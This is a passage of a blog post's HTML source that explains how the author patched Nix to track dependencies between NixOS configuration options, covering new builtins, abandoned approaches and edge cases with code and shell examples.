&lt;span class="giallo-l"&gt;&lt;span style="color: #C678DD;"&gt; inherit&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; lib&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; trackDependencies&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; modules&lt;/span&gt;&lt;span&gt; = [{&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; boot&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;loader&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;grub&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;device&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;nodev&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; fileSystems&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span&gt; = {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; device&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;/dev/sda1&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; fsType&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;ext4&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; system&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;stateVersion&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;25.11&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; }];&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Build the tracked configuration to store the tracking information permanently. Beware that this evaluation will take about 10-20 seconds longer than what you are used to.&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nix&lt;/span&gt;&lt;span style="color: #98C379;"&gt; build&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --print-out-paths&lt;/span&gt;&lt;span style="color: #98C379;"&gt; .#nixosConfigurations.host1.config.system.build.toplevel&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# remember the output path&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Change the configuration slightly and rebuild the tracked configuration. to store the tracking information permanently&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# edit the configuration and rebuild:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nix&lt;/span&gt;&lt;span style="color: #98C379;"&gt; build&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --print-out-paths&lt;/span&gt;&lt;span style="color: #98C379;"&gt; .#nixosConfigurations.host1.config.system.build.toplevel&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# remember the output path&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Explore a single configuration or diff the configs:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# explore one of the built toplevels from before&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nixos-config&lt;/span&gt;&lt;span style="color: #98C379;"&gt; show /nix/store/xyz-toplevel-tracked&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# show from ad-hoc evaluation (flakes only)&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nixos-config&lt;/span&gt;&lt;span style="color: #98C379;"&gt; show .#host1&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# diff two toplevels&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nixos-config&lt;/span&gt;&lt;span style="color: #98C379;"&gt; diff /nix/store/abc-toplevel-tracked /nix/store/def-toplevel-tracked&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# diff two toplevels, hide options values that are defaults&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nixos-config&lt;/span&gt;&lt;span style="color: #98C379;"&gt; diff&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --explicit&lt;/span&gt;&lt;span style="color: #98C379;"&gt; /nix/store/abc-toplevel-tracked /nix/store/def-toplevel-tracked&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# diff two toplevels textually, hide options values that are defaults&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nixos-config&lt;/span&gt;&lt;span style="color: #98C379;"&gt; text-diff&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --explicit&lt;/span&gt;&lt;span style="color: #98C379;"&gt; /nix/store/abc-toplevel-tracked /nix/store/def-toplevel-tracked&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The raw information from the tracking (values, dependencies, graphviz, ...) is also available in &lt;code&gt;.#nixosConfigurations.host1.dependencyTracking&lt;/code&gt;, after forcing the evaluation of the toplevel with &lt;code&gt;buildins.seq&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The rest of the blog post is about implementation details, so you can skip ahead to the &lt;a href="https://oddlama.org/blog/tracking-options-in-nixos/#conclusion"&gt;Conclusion&lt;/a&gt; if you are not interested in that.&lt;/p&gt;
&lt;h3 id="previous-attempts"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#previous-attempts" aria-label="Anchor link for: previous-attempts"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Previous attempts&lt;/h3&gt;
&lt;p&gt;I've had three attempts at implementing option tracking, and I failed twice before arriving at something
that worked. In case you are interested in how that went, I've summarized them here briefly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attempt 1: Full evaluation graph.&lt;/strong&gt; The simplest idea was to track every single primitive operation
during evaluation. Every attribute access, every function application, every &lt;code&gt;+&lt;/code&gt; or &lt;code&gt;//&lt;/code&gt;.
This would give a complete evaluation trace from which dependencies could be extracted.
Simple to implement but horrid performance. I aborted evaluation for a basic NixOS config after
30 minutes and it was nowhere near done. The sheer number of operations in a full NixOS evaluation
makes this approach completely impractical.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attempt 2: Global access-tracking attrsets.&lt;/strong&gt; The next idea was more targeted:
only track attribute accesses on specific attrsets (like &lt;code&gt;config&lt;/code&gt;). Basically, when you call &lt;code&gt;foo.bar&lt;/code&gt;,
&lt;code&gt;foo&lt;/code&gt; would record that &lt;code&gt;bar&lt;/code&gt; was accessed in a global map. A second builtin would set an "accessor ID", a global variable indicating who is currently being evaluated.&lt;/p&gt;
&lt;p&gt;Performance was ok-ish and I didn't spend time optimizing it at all. But I was already
unsatisfied with the approach because of two problems.
First, the global map is impure. Once evaluation is done, any further access to &lt;code&gt;config&lt;/code&gt;, even just
printing the result, would record additional spurious dependencies.
Second, and more fundamentally: because Nix evaluates thunks lazily, the "current accessor" at the
time a thunk is actually forced might be completely wrong. If thunk A triggers
the evaluation of thunk B (which accesses &lt;code&gt;config.x&lt;/code&gt;), the access gets attributed to A, not to B where
the code actually lives. As soon as more complex expressions were involved, this approach would fail
to attribute accesses to the correct scope.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attempt 3: Thunk-embedded origins.&lt;/strong&gt; So third time's the charm apparently, haha. I wanted a generic and pure
implementation this time, so it can reliably track things regardless of thunk evaluation order or access order.
This is the approach that worked out in the end. I'll glance go over the implementation below.&lt;/p&gt;
&lt;h3 id="thunk-embedded-origins"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#thunk-embedded-origins" aria-label="Anchor link for: thunk-embedded-origins"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Thunk-embedded origins&lt;/h3&gt;
&lt;p&gt;Instead of using a global variable to track
who is being evaluated, we embed the origin information directly in each thunk.&lt;/p&gt;
&lt;p&gt;When a thunk is created, we tag it with its identity which is the option path it represents.
When that thunk is later forced by Nix, it pushes its own identity as the "current accessor" onto a
context stack. Any attribute accesses on tracked attrsets during that evaluation are then correctly
attributed to this thunk. When the evaluation finishes, the context is popped from the stack.&lt;/p&gt;
&lt;p&gt;This has two important properties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;It respects laziness.&lt;/strong&gt; Dependencies are only recorded when values are actually forced.
Unforced thunks contribute nothing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It correctly attributes accesses to where they are &lt;em&gt;written&lt;/em&gt;, not where they are &lt;em&gt;triggered&lt;/em&gt;.&lt;/strong&gt;
If thunk A causes thunk B to be evaluated, accesses during B's evaluation are attributed to B,
because B pushes its own origin onto the stack. This matches how you would think about the code
when reading it - the accessor is determined at definition time, not at force time.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To see where this matters we need to look at an non-trivial example. Basically imagine there is an option that is a function.
I'll omit option definitions here for brevity.&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;span style="font-style: italic;"&gt;config&lt;/span&gt;&lt;span&gt;, ...}: {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; nproc&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 10&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; add&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="font-style: italic;"&gt; a&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span style="font-style: italic;"&gt; b&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; a&lt;/span&gt;&lt;span&gt; +&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; b&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; addNproc&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; config&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;add config&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;nproc&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; nprocPlus2&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; config&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;addNproc&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 2&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we have a mix of values and accesses between them. There are constants
(&lt;code&gt;nproc&lt;/code&gt;), a function &lt;code&gt;add&lt;/code&gt; which evaluates two parameters and uses their
value, &lt;code&gt;addNproc&lt;/code&gt; which creates a new function with only one parameter by
accessing the &lt;code&gt;add&lt;/code&gt; function and applying our constant and finally a result
&lt;code&gt;nprocPlus2&lt;/code&gt; which calls this second function.&lt;/p&gt;
&lt;p&gt;The NixOS module evaluator would make sure each of these is tagged with its &lt;code&gt;["nproc"]&lt;/code&gt;, &lt;code&gt;["add"]&lt;/code&gt;, &lt;code&gt;["addNproc"]&lt;/code&gt;, and &lt;code&gt;["nprocPlus2"]&lt;/code&gt; respectively. They are lists so we can represent nested attribute paths.
Now, when something forces &lt;code&gt;nprocPlus2&lt;/code&gt;, we need to make sure that accesses are attributed at the location of definition not the location where the value is forced.
So what happens is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The thunk for &lt;code&gt;nprocPlus2&lt;/code&gt; is forced.
It pushes &lt;code&gt;["nprocPlus2"]&lt;/code&gt; as the accessor context.&lt;/li&gt;
&lt;li&gt;It accesses &lt;code&gt;config.addNproc&lt;/code&gt; → dependency recorded: &lt;strong&gt;nprocPlus2 → addNproc&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Accessing &lt;code&gt;addNproc&lt;/code&gt; forces &lt;em&gt;its&lt;/em&gt; thunk, which pushes &lt;code&gt;["addNproc"]&lt;/code&gt; as the new accessor context.&lt;/li&gt;
&lt;li&gt;Inside &lt;code&gt;addNproc&lt;/code&gt;, &lt;code&gt;config.add&lt;/code&gt; is accessed → dependency: &lt;strong&gt;addNproc → add&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Now &lt;code&gt;config.nproc&lt;/code&gt; is accessed inside the add function.
Notice that &lt;code&gt;nprocPlus2&lt;/code&gt; does &lt;strong&gt;not&lt;/strong&gt; directly depend on &lt;code&gt;nproc&lt;/code&gt;. That access happened inside
&lt;code&gt;addNproc&lt;/code&gt;'s evaluation, so it was correctly attributed to &lt;code&gt;addNproc&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;addNproc&lt;/code&gt; finishes, pops its context.&lt;/li&gt;
&lt;li&gt;Back in &lt;code&gt;nprocPlus2&lt;/code&gt;, the function application returns &lt;code&gt;12&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nprocPlus2&lt;/code&gt; finishes, pops its context.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So the recorded dependencies are:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="plain"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;nprocPlus2 → addNproc&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;addNproc → add&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;addNproc → nproc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="new-builtins"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#new-builtins" aria-label="Anchor link for: new-builtins"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
New builtins&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I am not very familiar with the nix codebase and the patch was partly generated by Claude.
So this should really be inspected by someone with a deeper knowledge of nix to verify that I didn't make a grave mistake somewhere.
Do NOT use this in production, while all internal tests do pass, I can't guarantee that I didn't break some hidden invariant.&lt;/p&gt;
&lt;p&gt;The implementation adds several new builtins to Nix, designed for a two-phase setup that works
at least with the NixOS module system's evaluation order. I tried make the design as generic as possible, so it should work
with all kinds of fixpoint evaluations.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;builtins.createTrackingScope&lt;/code&gt;&lt;/strong&gt; creates a new, independent tracking scope and returns its ID.
The scope exists independently from any attrset, allowing it to be created before the tracked &lt;code&gt;config&lt;/code&gt;
is built. This is important for breaking the circular dependency in the module system, where &lt;code&gt;config&lt;/code&gt;
depends on option values that need to be tagged with the scope ID.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;builtins.registerTrackedAttrset scopeId attrset&lt;/code&gt;&lt;/strong&gt; associates an attrset with an existing scope.
Any attribute accesses on this attrset (or sub-attrsets encountered during evaluation) will be
recorded as dependencies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;builtins.tagThunkOrigin scopeId path thunk&lt;/code&gt;&lt;/strong&gt; tags a thunk with an origin path. When that
thunk is later forced, it pushes the path as the accessor context. The thunk is returned
unchanged (it is &lt;em&gt;not&lt;/em&gt; forced).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;builtins.tagAttrThunkOrigin scopeId path attrName attrset&lt;/code&gt;&lt;/strong&gt; is similar, but tags a specific
attribute's thunk &lt;em&gt;directly within&lt;/em&gt; the attrset's internal &lt;code&gt;Bindings&lt;/code&gt; structure. This avoids creating
a wrapper thunk, which is important to remove internal &lt;code&gt;.value&lt;/code&gt; intermediaries added by the NixOS module evaluator.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;builtins.getDependencies scopeId&lt;/code&gt;&lt;/strong&gt; returns all recorded dependencies for a scope as a list
of &lt;code&gt;{ accessor = [...]; accessed = [...]; }&lt;/code&gt; records.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;builtins.tryCatchAll expr&lt;/code&gt;&lt;/strong&gt; is a helper similar to &lt;code&gt;tryEval&lt;/code&gt;, but catches &lt;em&gt;all&lt;/em&gt; evaluation errors including missing attributes,
type errors, and &lt;code&gt;abort&lt;/code&gt;. It also deeply evaluates its argument before returning.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Using these primitives, a simple tracking example looks like this:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #C678DD;"&gt;let&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; fix&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="font-style: italic;"&gt; f&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span style="color: #C678DD;"&gt; let&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; x&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; f x&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span style="color: #C678DD;"&gt; in&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; x&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; scopeId&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; builtins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;createTrackingScope&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; config&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; fix&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span style="font-style: italic;"&gt;self&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; base&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 10&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; helper&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="font-style: italic;"&gt; x&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; x&lt;/span&gt;&lt;span&gt; +&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; self&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;base&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; impl&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; self&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;helper&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 42&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; _&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; builtins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;registerTrackedAttrset scopeId config&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # Force impl to trigger evaluation&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; _&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; builtins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;seq config&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;impl&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #C678DD;"&gt;in&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; builtins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;getDependencies scopeId&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# Result:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# [ { accessor = [&amp;quot;impl&amp;quot;]; accessed = [&amp;quot;helper&amp;quot;]; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# { accessor = [&amp;quot;helper&amp;quot;]; accessed = [&amp;quot;base&amp;quot;]; } ]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="edge-cases"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#edge-cases" aria-label="Anchor link for: edge-cases"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Edge cases&lt;/h3&gt;
&lt;p&gt;There are surprisingly many edge cases that need to be taken care of to ensure we get a properly connected dependency graph (and I'm certain that I still missed a ton more).
Let me go over some of them.&lt;/p&gt;
&lt;h4 id="auto-registration-of-sub-attrsets"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#auto-registration-of-sub-attrsets" aria-label="Anchor link for: auto-registration-of-sub-attrsets"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Auto-registration of sub-attrsets&lt;/h4&gt;
&lt;p&gt;We need tracking to automatically propagate into nested attrsets. When a tagged
thunk is forced and produces an attrset, the evaluator should automatically register that attrset and tag
its member thunks (without overwriting any existing explicit tags). This allows accessing
&lt;code&gt;config.services.nginx.enable&lt;/code&gt; to work correctly even though only the top-level &lt;code&gt;config&lt;/code&gt; was explicitly
registered. The intermediate attrsets &lt;code&gt;services&lt;/code&gt; and &lt;code&gt;nginx&lt;/code&gt; are registered on-the-fly as they are
encountered during evaluation.&lt;/p&gt;
&lt;p&gt;Additionally, &lt;code&gt;ExprSelect::eval&lt;/code&gt; (the code path for &lt;code&gt;a.b.c&lt;/code&gt; attribute selections) records dependencies
at each intermediate step, not just for the final path. Without this, sub-attrset accessor nodes
would become disconnected in the dependency graph. For example, &lt;code&gt;boot.kernelPackages.kernel.features&lt;/code&gt;
would not show edges for the intermediate &lt;code&gt;boot.kernelPackages&lt;/code&gt; and &lt;code&gt;boot.kernelPackages.kernel&lt;/code&gt; nodes.&lt;/p&gt;
&lt;h4 id="issues-with-wrapper-thunks"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#issues-with-wrapper-thunks" aria-label="Anchor link for: issues-with-wrapper-thunks"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Issues with wrapper thunks&lt;/h4&gt;
&lt;p&gt;One subtle issue I ran into during the nixpkgs integration is that the NixOS options tree contains
option records which are attrsets with attributes like &lt;code&gt;.value&lt;/code&gt;, &lt;code&gt;.isDefined&lt;/code&gt;, &lt;code&gt;.type&lt;/code&gt;, etc.
We want to tag each option's &lt;code&gt;.value&lt;/code&gt; thunk with the option path (e.g., &lt;code&gt;["users" "users"]&lt;/code&gt;),
so that when the value is forced, accesses are attributed to that option.&lt;/p&gt;
&lt;p&gt;My first approach was something like:&lt;/p&gt;
